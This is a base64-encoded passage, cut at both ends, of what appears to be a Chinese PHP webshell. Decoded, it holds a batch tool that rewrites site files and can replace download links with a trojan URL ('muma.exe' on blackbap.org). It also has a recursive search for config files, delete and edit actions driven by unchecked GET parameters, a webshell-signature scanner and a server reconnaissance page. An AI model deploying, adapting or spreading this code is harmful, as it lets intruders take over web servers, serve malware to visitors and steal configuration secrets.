cmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBGdWxsbGxsKGkpew0KCWlmKGk9PTApIHJldHVybiBmYWxzZTsNCiAgU3RyID0gbmV3IEFycmF5KDUpOw0KICBpZihpIDw9IDIpe1N0clsxXSA9ICJ7JFJPT1RfRElSfSI7U3RyWzJdID0gInskRklMRV9ESVJ9Ijt0Zm9ybS50cC52YWx1ZSA9IFN0cltpXTt9DQoJZWxzZXtTdHJbM10gPSAiLmh0bXwuaHRtbHwuc2h0bWwiO1N0cls0XSA9ICIuaHRtfC5odG1sfC5zaHRtbHwuYXNwfC5waHB8LmpzcHwuY2dpfC5hc3B4fC5kbyI7U3RyWzVdID0gIi5qcyI7dGZvcm0udHQudmFsdWUgPSBTdHJbaV07fQ0KICByZXR1cm4gdHJ1ZTsNCn0NCmZ1bmN0aW9uIHNob3d0aCh0aCl7DQoJaWYodGggPT0gJ2EnKSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2V0YXV0bycpLmlubmVySFRNTCA9ICey6dXSxNrI3To8dGV4dGFyZWEgbmFtZT0idGNhIiBpZD0idGNhIiBzdHlsZT0id2lkdGg6NjEwcHg7aGVpZ2h0OjEwMHB4OyI+PC90ZXh0YXJlYT48YnI+zOa7u7PJzqo6PHRleHRhcmVhIG5hbWU9InRjYiIgaWQ9InRjYiIgc3R5bGU9IndpZHRoOjYxMHB4O2hlaWdodDoxMDBweDsiPjwvdGV4dGFyZWE+JzsNCglpZih0aCA9PSAnYicpIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZXRhdXRvJykuaW5uZXJIVE1MID0gJzxicj7PwtTYuvPXuiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idGNhIiBpZD0idGNhIiB2YWx1ZT0iLmV4ZXwuN3p8LnJhcnwuemlwfC5nenwudHh0IiBzdHlsZT0id2lkdGg6NTAwcHg7Ij48YnI+PGJyPszmu7uzyc6qIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ0Y2IiIGlkPSJ0Y2IiIHZhbHVlPSJodHRwOi8vYmxhY2tiYXAub3JnL211bWEuZXhlIiBzdHlsZT0id2lkdGg6NTAwcHg7Ij4nOw0KCXJldHVybiB0cnVlOw0KfQ0KZnVuY3Rpb24gYXV0b3VwKCl7DQoJaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3RwJykudmFsdWUgPT0gJycpe2FsZXJ0KCfCt762srvE3M6qv9UnKTtyZXR1cm4gZmFsc2U7fQ0KCWlmKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0dCcpLnZhbHVlID09ICcnKXthbGVydCgnwODQzbK7xNzOqr/VJyk7cmV0dXJuIGZhbHNlO30NCglpZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndGNhJykudmFsdWUgPT0gJycpe2FsZXJ0KCe0+sLrsrvE3M6qv9UnKTtyZXR1cm4gZmFsc2U7fQ0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0Zm9ybScpLnN1Ym1pdCgpOw0KfQ0KPC9zY3JpcHQ+DQo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9InRmb3JtIiBpZD0idGZvcm0iIGFjdGlvbj0iP3M9ZCI+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiIHN0eWxlPSJoZWlnaHQ6MzVweDsiPszmu7vCt762IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ0cCIgaWQ9InRwIiB2YWx1ZT0ieyRST09UX0RJUn0iIHN0eWxlPSJ3aWR0aDo1MDBweDsiPg0KPHNlbGVjdCBvbmNoYW5nZT0ncmV0dXJuIEZ1bGxsbGwob3B0aW9uc1tzZWxlY3RlZEluZGV4XS52YWx1ZSknPg0KPG9wdGlvbiB2YWx1ZT0iMCIgc2VsZWN0ZWQ+LS23ts6n0aHU8S0tPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxIj7N+NW+uPnEv8K8PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyIj6xvrPM0PLEv8K8PC9vcHRpb24+DQo8L3NlbGVjdD48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCIgc3R5bGU9ImhlaWdodDozNXB4OyI+zsS8/sDg0M0gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InR0IiBpZD0idHQiIHZhbHVlPSIuaHRtfC5odG1sfC5zaHRtbCIgc3R5bGU9IndpZHRoOjUwMHB4OyI+DQo8c2VsZWN0IG9uY2hhbmdlPSdyZXR1cm4gRnVsbGxsbChvcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlKSc+DQo8b3B0aW9uIHZhbHVlPSIwIiBzZWxlY3RlZD4tLcDg0M3RodTxLS08L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjMiPr6yzKzOxLz+PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI0Ij69xbG+K76yzKw8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjUiPkpTzsS8/jwvb3B0aW9uPg0KPC9zZWxlY3Q+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiIHN0eWxlPSJoZWlnaHQ6MjM1cHg7Ij48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InRoIiB2YWx1ZT0iYSIgb25jbGljaz0ic2hvd3RoKCdhJykiIGNoZWNrZWQ+zOa7u87EvP7W0LXE1ri2qMTayN0gPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJ0aCIgdmFsdWU9ImIiIG9uY2xpY2s9InNob3d0aCgnYicpIj7M5ru7zsS8/tbQtcTPwtTYtdjWtzxicj4NCjxkaXYgaWQ9InNldGF1dG8iPrLp1dLE2sjdIDx0ZXh0YXJlYSBuYW1lPSJ0Y2EiIGlkPSJ0Y2EiIHN0eWxlPSJ3aWR0aDo2MTBweDtoZWlnaHQ6MTAwcHg7Ij48L3RleHRhcmVhPjxicj7M5ru7s8nOqiA8dGV4dGFyZWEgbmFtZT0idGNiIiBpZD0idGNiIiBzdHlsZT0id2lkdGg6NjEwcHg7aGVpZ2h0OjEwMHB4OyI+PC90ZXh0YXJlYT48L2Rpdj48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCIgc3R5bGU9ImhlaWdodDozMHB4OyI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ0ZCIgdmFsdWU9IjEiIGNoZWNrZWQ+saOz1s7EvP7Q3rjEyrG85LK7seQ8L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCIgc3R5bGU9ImhlaWdodDo1MHB4OyI+PGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJ0YiIgdmFsdWU9ImEiIGNoZWNrZWQ+vavM5ru706bTw9PauMPOxLz+vNAs19POxLz+vNC6zc7EvP4NCjxicj48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InRiIiB2YWx1ZT0iYiI+vfa9q8zmu7vTptPD09q4w87EvP680DwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0iv6rKvMzmu7siIHN0eWxlPSJ3aWR0aDo4MHB4O2hlaWdodDoyNnB4OyIgb25jbGljaz0iYXV0b3VwKCk7Ij48L2Rpdj4NCjwvZm9ybT4NCkVORDsNCglyZXR1cm4gdHJ1ZTsNCn0NCi8vyajD6MS+wu0NCmZ1bmN0aW9uIEFudGl2aXJ1c19BdXRvKCRzcCwkZmVhdHVyZXMsJHN0LCRzYikNCnsNCglpZigoJGhfZCA9IEBvcGVuZGlyKCRzcCkpID09IE5VTEwpIHJldHVybiBmYWxzZTsNCgkkUk9PVF9ESVIgPSBGaWxlX01vZGUoKTsNCgl3aGlsZShmYWxzZSAhPT0gKCRGaWxlbmFtZSA9IEByZWFkZGlyKCRoX2QpKSkNCgl7DQoJCWlmKCRGaWxlbmFtZSA9PSAnLicgfHwgJEZpbGVuYW1lID09ICcuLicpIGNvbnRpbnVlOw0KCQkkRmlsZXBhdGggPSBGaWxlX1N0cigkc3AuJy8nLiRGaWxlbmFtZSk7DQoJCWlmKGlzX2RpcigkRmlsZXBhdGgpICYmICRzYikgQW50aXZpcnVzX0F1dG8oJEZpbGVwYXRoLCRmZWF0dXJlcywkc3QpOw0KCQlpZihlcmVnaSgkc3QsJEZpbGVuYW1lKSkNCgkJew0KCQkJaWYoJEZpbGVwYXRoID09IEZpbGVfU3RyKF9fRklMRV9fKSkgY29udGludWU7DQoJCQkkaWMgPSBGaWxlX1JlYWQoJEZpbGVwYXRoKTsNCgkJCWZvcmVhY2goJGZlYXR1cmVzIGFzICR2YXIgPT4gJGtleSkNCgkJCXsNCgkJCQlpZihzdHJpc3RyKCRpYywka2V5KSkNCgkJCQl7DQoJCQkJCSRGaWxldXJscyA9IHN0cl9yZXBsYWNlKCRST09UX0RJUiwnaHR0cDovLycuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJy8nLCRGaWxlcGF0aCk7DQoJCQkJCSRGaWxldGltZSA9IEBkYXRlKCdZLW0tZCBIOmk6cycsQGZpbGVtdGltZSgkRmlsZXBhdGgpKTsNCgkJCQkJZWNobyAnIDxhIGhyZWY9IicuJEZpbGV1cmxzLiciIHRhcmdldD0iX2JsYW5rIj4gPGZvbnQgY29sb3I9IiM4QjAwMDAiPiAnLiRGaWxlcGF0aC4nIDwvZm9udD4gPC9hPiA8YnI+IKG+PGEgaHJlZj0iP3M9ZSZmcD0nLnVybGVuY29kZSgkc3ApLicmZm49Jy4kRmlsZW5hbWUuJyZkaW09Jy51cmxlbmNvZGUoJGtleSkuJyIgdGFyZ2V0PSJfYmxhbmsiPiCx4LytIDwvYT4gPGEgaHJlZj0iP3M9ZSZkZj0nLnVybGVuY29kZSgkRmlsZXBhdGgpLiciIHRhcmdldD0iX2JsYW5rIj4gyb6z/SA8L2E+IKG/ICc7DQoJCQkJCWVjaG8gJyChviAnLiRGaWxldGltZS4nIKG/IDxmb250IGNvbG9yPSIjRkYwMDAwIj4gJy4kdmFyLicgPC9mb250PiA8YnI+IDxicj4gJy4iXHJcbiI7DQoJCQkJCWJyZWFrOw0KCQkJCX0NCgkJCX0NCgkJCW9iX2ZsdXNoKCk7DQoJCQlmbHVzaCgpOw0KCQl9DQoJfQ0KCUBjbG9zZWRpcigkaF9kKTsNCglyZXR1cm4gdHJ1ZTsNCn0NCg0KZnVuY3Rpb24gQW50aXZpcnVzX2UoKQ0Kew0KCWlmKCFlbXB0eSgkX0dFVFsnZGYnXSkpe2VjaG8gJF9HRVRbJ2RmJ107aWYoQHVubGluaygkX0dFVFsnZGYnXSkpe2VjaG8gJ8m+s/2zybmmJzt9ZWxzZXtAY2htb2QoJF9HRVRbJ2RmJ10sMDY2Nik7ZWNobyBAdW5saW5rKCRfR0VUWydkZiddKSA/ICfJvrP9s8m5picgOiAnyb6z/cqnsNwnO30gcmV0dXJuIGZhbHNlO30NCglpZigoIWVtcHR5KCRfR0VUWydmcCddKSkgJiYgKCFlbXB0eSgkX0dFVFsnZm4nXSkpICYmICghZW1wdHkoJF9HRVRbJ2RpbSddKSkpIHsgRmlsZV9FZGl0KCRfR0VUWydmcCddLCRfR0VUWydmbiddLCRfR0VUWydkaW0nXSk7IHJldHVybiBmYWxzZTsgfQ0KCSRTQ0FOX0RJUiA9IGlzc2V0KCRfUE9TVFsnc3AnXSkgPyAkX1BPU1RbJ3NwJ10gOiBGaWxlX01vZGUoKTsNCgkkZmVhdHVyZXNfcGhwID0gYXJyYXkoJ2V2YWzSu77ku7DM2NX3Jz0+J2V2YWwoJywntPPC7XJlYWTM2NX3Jz0+Jy0+cmVhZCgpJywntPPC7XJlYWRkaXLM2NX3Myc9PidyZWFkZGlyKCcsJ01ZU1FM19S2qNLluq/K/dPvvuQnPT4ncmV0dXJucyBzdHJpbmcgc29uYW1lJywnvNPD3MzY1fcxJz0+J2V2YWwoZ3ppbmZsYXRlKCcsJ7zTw9zM2NX3Mic9PidldmFsKGJhc2U2NF9kZWNvZGUoJywnvNPD3MzY1fczJz0+J2Jhc2U2NF9kZWNvZGUoJywnZXZhbNK7vuS7sDInPT4nZXZhbCAoJywncGhwuLTWxszY1fcnPT4nY29weSgkX0ZJTEVTJywnuLTWxszY1fcyJz0+J2NvcHkgKCRfRklMRVMnLCfJz7SrzNjV9yc9Pidtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFUycsJ8nPtKvM2NX3Mic9Pidtb3ZlX3VwbG9hZGVkX2ZpbGUgKCRfRklMRVMnLCfQocLtzNjV9yc9PidzdHJfcmVwbGFjZShcJ1xcXFxcJyxcJy9cJywnKTsNCgkkZmVhdHVyZXNfYXN4ID0gYXJyYXkoJ73Fsb6808PcJz0+J1ZCU2NyaXB0LkVuY29kZScsJ7zTw9zM2NX3Jz0+JyNAfl4nLCdmc2/X6bz+Jz0+J2Zzby5jcmVhdGV0ZXh0ZmlsZShwYXRoLHRydWUpJywnZXhjdXRl0ru+5LuwJz0+J2V4ZWN1dGUnLCdldmFs0ru+5LuwJz0+J2V2YWwnLCd3c2NyaXB0zNjV9yc9PidGOTM1REMyMi0xQ0YwLTExRDAtQURCOS0wMEMwNEZENThBMEInLCfK/b7dv+Ky2df3zNjV9yc9PicxMzcwOTYyMC1DMjc5LTExQ0UtQTQ5RS00NDQ1NTM1NDAwMDAnLCd3c2NyaXB0zNjV9yc9PidXU2NyaXB0LlNoZWxsJywnZnNvzNjV9yc9PicwRDQzRkUwMS1GMDkzLTExQ0YtODk0MC0wMEEwQzkwNTQyMjgnLCfKrsj9uq/K/Sc9Piep76nlJywnYXNweLTzwu3M2NX3Jz0+J1Byb2Nlc3MuR2V0UHJvY2Vzc2VzJywnYXNweNK7vuS7sCc9PidSZXF1ZXN0LkJpbmFyeVJlYWQnKTsNCglwcmludDw8PEVORA0KPGZvcm0gbWV0aG9kPSJQT1NUIiBuYW1lPSJ0Zm9ybSIgaWQ9InRmb3JtIiBhY3Rpb249Ij9zPWUiPg0KPGRpdiBjbGFzcz0iYWN0YWxsIj7JqMPowre+tiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3AiIGlkPSJzcCIgdmFsdWU9InskU0NBTl9ESVJ9IiBzdHlsZT0id2lkdGg6NjAwcHg7Ij48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+xL7C7cDg0M0gPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJzdHBocCIgdmFsdWU9InBocCIgY2hlY2tlZD5waHDEvsLtDQo8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InN0YXN4IiB2YWx1ZT0iYXN4Ij5hc3ArYXNweMS+wu08L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCIgc3R5bGU9ImhlaWdodDo1MHB4OyI+PGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJzYiIgdmFsdWU9ImEiIGNoZWNrZWQ+vavJqMLt06bTw9PauMPOxLz+vNAs19POxLz+vNC6zc7EvP4NCjxicj48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InNiIiB2YWx1ZT0iYiI+vfa9q8mowu3TptPD09q4w87EvP680DwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iv6rKvMmow+giIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9kaXY+DQo8L2Zvcm0+DQpFTkQ7DQoJaWYoIWVtcHR5KCRfUE9TVFsnc3AnXSkpDQoJew0KCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPic7DQoJCWlmKGlzc2V0KCRfUE9TVFsnc3RwaHAnXSkpeyRmZWF0dXJlc19hbGwgPSAkZmVhdHVyZXNfcGhwOyAkc3QgPSAnXC5waHB8XC5pbmN8XDsnO30NCgkJaWYoaXNzZXQoJF9QT1NUWydzdGFzeCddKSl7JGZlYXR1cmVzX2FsbCA9ICRmZWF0dXJlc19hc3g7ICRzdCA9ICdcLmFzcHxcLmFzYXxcLmNlcnxcLmFzcHh8XC5hc2N4fFw7Jzt9DQoJCWlmKGlzc2V0KCRfUE9TVFsnc3RwaHAnXSkgJiYgaXNzZXQoJF9QT1NUWydzdGFzeCddKSl7JGZlYXR1cmVzX2FsbCA9IGFycmF5X21lcmdlKCRmZWF0dXJlc19waHAsJGZlYXR1cmVzX2FzeCk7ICRzdCA9ICdcLnBocHxcLmluY3xcLmFzcHxcLmFzYXxcLmNlcnxcLmFzcHh8XC5hc2N4fFw7Jzt9DQoJCSRzYiA9ICgkX1BPU1RbJ3NiJ10gPT0gJ2EnKSA/IHRydWUgOiBmYWxzZTsNCgkJZWNobyBBbnRpdmlydXNfQXV0bygkX1BPU1RbJ3NwJ10sJGZlYXR1cmVzX2FsbCwkc3QsJHNiKSA/ICfJqMPozeqxzycgOiAgJ9Lss6PW1da5JzsNCgkJZWNobyAnPC9kaXY+JzsNCgl9DQoJcmV0dXJuIHRydWU7DQp9DQovL8vRy/fOxLz+DQpmdW5jdGlvbiBGaW5kZmlsZV9BdXRvKCRzZnAsJHNmYywkc2Z0LCRzZmYsJHNmYikNCnsNCgkvL2VjaG8gJHNmcC4nPGJyPicuJHNmYy4nPGJyPicuJHNmdC4nPGJyPicuJHNmZi4nPGJyPicuJHNmYjsNCglpZigoJGhfZCA9IEBvcGVuZGlyKCRzZnApKSA9PSBOVUxMKSByZXR1cm4gZmFsc2U7DQoJd2hpbGUoZmFsc2UgIT09ICgkRmlsZW5hbWUgPSBAcmVhZGRpcigkaF9kKSkpDQoJew0KCQlpZigkRmlsZW5hbWUgPT0gJy4nIHx8ICRGaWxlbmFtZSA9PSAnLi4nKSBjb250aW51ZTsNCgkJaWYoZXJlZ2koJHNmdCwkRmlsZW5hbWUpKSBjb250aW51ZTsNCgkJJEZpbGVwYXRoID0gRmlsZV9TdHIoJHNmcC4nLycuJEZpbGVuYW1lKTsNCgkJaWYoaXNfZGlyKCRGaWxlcGF0aCkgJiYgJHNmYikgRmluZGZpbGVfQXV0bygkRmlsZXBhdGgsJHNmYywkc2Z0LCRzZmYsJHNmYik7DQoJCWlmKCRzZmYpDQoJCXsNCgkJCWlmKHN0cmlzdHIoJEZpbGVuYW1lLCRzZmMpKQ0KCQkJew0KCQkJCWVjaG8gJzxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSI/cz1wJmZwPScudXJsZW5jb2RlKCRzZnApLicmZm49Jy51cmxlbmNvZGUoJEZpbGVuYW1lKS4nIj4gJy4kRmlsZXBhdGguJyA8L2E+PGJyPicuIlxyXG4iOw0KCQkJCW9iX2ZsdXNoKCk7DQoJCQkJZmx1c2goKTsNCgkJCX0NCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRGaWxlX2NvZGUgPSBGaWxlX1JlYWQoJEZpbGVwYXRoKTsNCgkJCWlmKHN0cmlzdHIoJEZpbGVfY29kZSwkc2ZjKSkNCgkJCXsNCgkJCQllY2hvICc8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iP3M9cCZmcD0nLnVybGVuY29kZSgkc2ZwKS4nJmZuPScudXJsZW5jb2RlKCRGaWxlbmFtZSkuJyI+ICcuJEZpbGVwYXRoLicgPC9hPjxicj4nLiJcclxuIjsNCgkJCQlvYl9mbHVzaCgpOw0KCQkJCWZsdXNoKCk7DQoJCQl9DQoJCX0NCgl9DQoJQGNsb3NlZGlyKCRoX2QpOw0KCXJldHVybiB0cnVlOw0KfQ0KZnVuY3Rpb24gRmluZGZpbGVfaigpDQp7DQoJaWYoIWVtcHR5KCRfR0VUWydkZiddKSl7ZWNobyAkX0dFVFsnZGYnXTtpZihAdW5saW5rKCRfR0VUWydkZiddKSl7ZWNobyAnyb6z/bPJuaYnO31lbHNle0BjaG1vZCgkX0dFVFsnZGYnXSwwNjY2KTtlY2hvIEB1bmxpbmsoJF9HRVRbJ2RmJ10pID8gJ8m+s/2zybmmJyA6ICfJvrP9yqew3Cc7fSByZXR1cm4gZmFsc2U7fQ0KCWlmKCghZW1wdHkoJF9HRVRbJ2ZwJ10pKSAmJiAoIWVtcHR5KCRfR0VUWydmbiddKSkgJiYgKCFlbXB0eSgkX0dFVFsnZGltJ10pKSkgeyBGaWxlX0VkaXQoJF9HRVRbJ2ZwJ10sJF9HRVRbJ2ZuJ10sJF9HRVRbJ2RpbSddKTsgcmV0dXJuIGZhbHNlOyB9DQoJJFNDQU5fRElSID0gaXNzZXQoJF9QT1NUWydzZnAnXSkgPyAkX1BPU1RbJ3NmcCddIDogRmlsZV9Nb2RlKCk7DQoJJFNDQU5fQ09ERSA9IGlzc2V0KCRfUE9TVFsnc2ZjJ10pID8gJF9QT1NUWydzZmMnXSA6ICdjb25maWcnOw0KCSRTQ0FOX1RZUEUgPSBpc3NldCgkX1BPU1RbJ3NmdCddKSA/ICRfUE9TVFsnc2Z0J10gOiAnLm1wM3wubXA0fC5hdml8LnN3ZnwuanBnfC5naWZ8LnBuZ3wuYm1wfC5naG98LnJhcnwuZXhlfC56aXB8LnBkZnwuZGxsfC5leGV8LnR4dHwuaW5mfC5wcHR8Lnhsc3wuanMnOw0KCXByaW50PDw8RU5EDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Impmb3JtIiBpZD0iamZvcm0iIGFjdGlvbj0iP3M9aiI+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPsmow+jCt762IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzZnAiIHZhbHVlPSJ7JFNDQU5fRElSfSIgc3R5bGU9IndpZHRoOjYwMHB4OyI+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPrn9wsvOxLz+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzZnQiIHZhbHVlPSJ7JFNDQU5fVFlQRX0iIHN0eWxlPSJ3aWR0aDo2MDBweDsiPjwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj652Lz819a0riA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic2ZjIiB2YWx1ZT0ieyRTQ0FOX0NPREV9IiBzdHlsZT0id2lkdGg6Mzk1cHg7Ij4NCjxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0ic2ZmIiB2YWx1ZT0iYSIgY2hlY2tlZD7L0cv3zsS8/sP7DQo8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InNmZiIgdmFsdWU9ImIiPsvRy/ew/LqszsTX1jwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIiBzdHlsZT0iaGVpZ2h0OjUwcHg7Ij48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InNmYiIgdmFsdWU9ImEiIGNoZWNrZWQ+vavL0cv306bTw9PauMPOxLz+vNAs19POxLz+vNC6zc7EvP4NCjxicj48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InNmYiIgdmFsdWU9ImIiPr32vavL0cv306bTw9PauMPOxLz+vNA8L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ir+qyrzJqMPoIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvZGl2Pg0KPC9mb3JtPg0KRU5EOw0KCWlmKCghZW1wdHkoJF9QT1NUWydzZnAnXSkpICYmICghZW1wdHkoJF9QT1NUWydzZmMnXSkpKQ0KCXsNCgkJZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj4nOw0KCQkkX1BPU1RbJ3NmdCddID0gc3RyX3JlcGxhY2UoJy4nLCdcXC4nLCRfUE9TVFsnc2Z0J10pOw0KCQkkc2ZmID0gKCRfUE9TVFsnc2ZmJ10gPT0gJ2EnKSA/IHRydWUgOiBmYWxzZTsNCgkJJHNmYiA9ICgkX1BPU1RbJ3NmYiddID09ICdhJykgPyB0cnVlIDogZmFsc2U7DQoJCWVjaG8gRmluZGZpbGVfQXV0bygkX1BPU1RbJ3NmcCddLCRfUE9TVFsnc2ZjJ10sJF9QT1NUWydzZnQnXSwkc2ZmLCRzZmIpID8gJ8vRy/fN6rHPJyA6ICfS7LOj1tXWuSc7DQoJCWVjaG8gJzwvZGl2Pic7DQoJfQ0KCXJldHVybiB0cnVlOw0KfQ0KLy/Ptc2z0MXPog0KZnVuY3Rpb24gSW5mb19DZmcoJHZhcm5hbWUpew0KCXN3aXRjaCgkcmVzdWx0ID0gZ2V0X2NmZ192YXIoJHZhcm5hbWUpKXsNCgkJY2FzZSAwOnJldHVybiAiTm8iO2JyZWFrOw0KCQljYXNlIDE6cmV0dXJuICJZZXMiO2JyZWFrOw0KCQlkZWZhdWx0OnJldHVybiAkcmVzdWx0O2JyZWFrO319DQoJCWZ1bmN0aW9uIEluZm9fRnVuKCRmdW5OYW1lKXtyZXR1cm4oZmFsc2UgIT09ZnVuY3Rpb25fZXhpc3RzKCRmdW5OYW1lKSkgPyAiWWVzIiA6ICJObyI7fQ0KCQlmdW5jdGlvbiBJbmZvX2YoKQ0KCQl7DQoJCQkkZGlzX2Z1bmMgPSBnZXRfY2ZnX3ZhcigiZGlzYWJsZV9mdW5jdGlvbnMiKTsNCgkJCSR1cHNpemUgPSBnZXRfY2ZnX3ZhcigiZmlsZV91cGxvYWRzIikgPyBnZXRfY2ZnX3ZhcigidXBsb2FkX21heF9maWxlc2l6ZSIpIDogIrK71MrQ7cnPtKsiOw0KCQkJJGFkbWlubWFpbCA9IChpc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10pKSA/ICI8YSBocmVmPVwibWFpbHRvOiIuJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddLiJcIj4iLiRfU0VSVkVSWydTRVJWRVJfQURNSU4nXS4iPC9hPiIgOiAiPGEgaHJlZj1cIm1haWx0bzoiLmdldF9jZmdfdmFyKCJzZW5kbWFpbF9mcm9tIikuIlwiPiIuZ2V0X2NmZ192YXIoInNlbmRtYWlsX2Zyb20iKS4iPC9hPiI7DQoJCQlpZigkZGlzX2Z1bmMgPT0gIiIpeyRkaXNfZnVuYyA9ICJObyI7fQ0KCQkJZWxzZXsNCgkJCQkkZGlzX2Z1bmMgPSBzdHJfcmVwbGFjZSgiICIsIjxicj4iLCRkaXNfZnVuYyk7DQoJCQkJJGRpc19mdW5jID0gc3RyX3JlcGxhY2UoIiwiLCI8YnI+IiwkZGlzX2Z1bmMpOw0KCQkJfQ0KCQkJJHBocGluZm8gPSAoIWVyZWdpKCJwaHBpbmZvIiwkZGlzX2Z1bmMpKSA/ICJZZXMiIDogIk5vIjsNCgkJCSRpbmZvID0gYXJyYXkoDQoJCQkJCWFycmF5KCK3/s7xxvfKsbzkL7GxvqnKsbzkIixkYXRlKCJZxOpt1MJkyNUgaDppOnMiLHRpbWUoKSkuIiZuYnNwOy8mbmJzcDsiLmdtZGF0ZSgiWcTqbtTCasjVIEg6aTpzIix0aW1lKCkrOCozNjAwKSksDQoJCQkJCWFycmF5KCK3/s7xxvfT8sP7OrbLv9ooaXApIiwiPGEgaHJlZj1cImh0dHA6Ly8iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj4iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiI8L2E+OiIuJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10uIiAoICIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuIiApIiksDQoJCQkJCWFycmF5KCK3/s7xxvey2df3z7XNsyjOxNfWseDC6ykiLFBIUF9PUy4iICgiLiRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddLiIpIiksDQoJCQkJCWFycmF5KCK3/s7xxve94tLr0v3H5iIsJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddKSwNCgkJCQkJYXJyYXkoIsTjtcRJUCIsZ2V0ZW52KCdSRU1PVEVfQUREUicpKSwNCgkJCQkJYXJyYXkoIlBIUNTL0NC3vcq9KLDmsb4pIixzdHJ0b3VwcGVyKHBocF9zYXBpX25hbWUoKSkuIigiLlBIUF9WRVJTSU9OLiIpIC8gsLLIq8Sjyr06Ii5JbmZvX0NmZygic2FmZW1vZGUiKSksDQoJCQkJCWFycmF5KCK3/s7xxve53MDt1LEiLCRhZG1pbm1haWwpLA0KCQkJCQlhcnJheSgisb7OxLz+wre+tiIsX19GSUxFX18pLA0KCQkJCQlhcnJheSgi1MrQ7cq508NVUky08r+qzsS8/lthbGxvd191cmxfZm9wZW5dIixJbmZvX0NmZygiYWxsb3dfdXJsX2ZvcGVuIikpLA0KCQkJCQlhcnJheSgi1MrQ7bavzKy809TYwbS907/iW2VuYWJsZV9kbF0iLEluZm9fQ2ZnKCJlbmFibGVfZGwiKSksDQoJCQkJCWFycmF5KCLP1Mq+tO3O89DFz6JbZGlzcGxheV9lcnJvcnNdIixJbmZvX0NmZygiZGlzcGxheV9lcnJvcnMiKSksDQoJCQkJCWFycmF5KCLX1Lao0uXIq77WseTBv1tyZWdpc3Rlcl9nbG9iYWxzXSIsSW5mb19DZmcoInJlZ2lzdGVyX2dsb2JhbHMiKSksDQoJCQkJCWFycmF5KCLX1Lav19a3+7Su16rS5VttYWdpY19xdW90ZXNfZ3BjXSIsSW5mb19DZmcoIm1hZ2ljX3F1b3Rlc19ncGMiKSksDQoJCQkJCWFycmF5KCLX7rbgxNq05sq508PBv1ttZW1vcnlfbGltaXRdIixJbmZvX0NmZygibWVtb3J5X2xpbW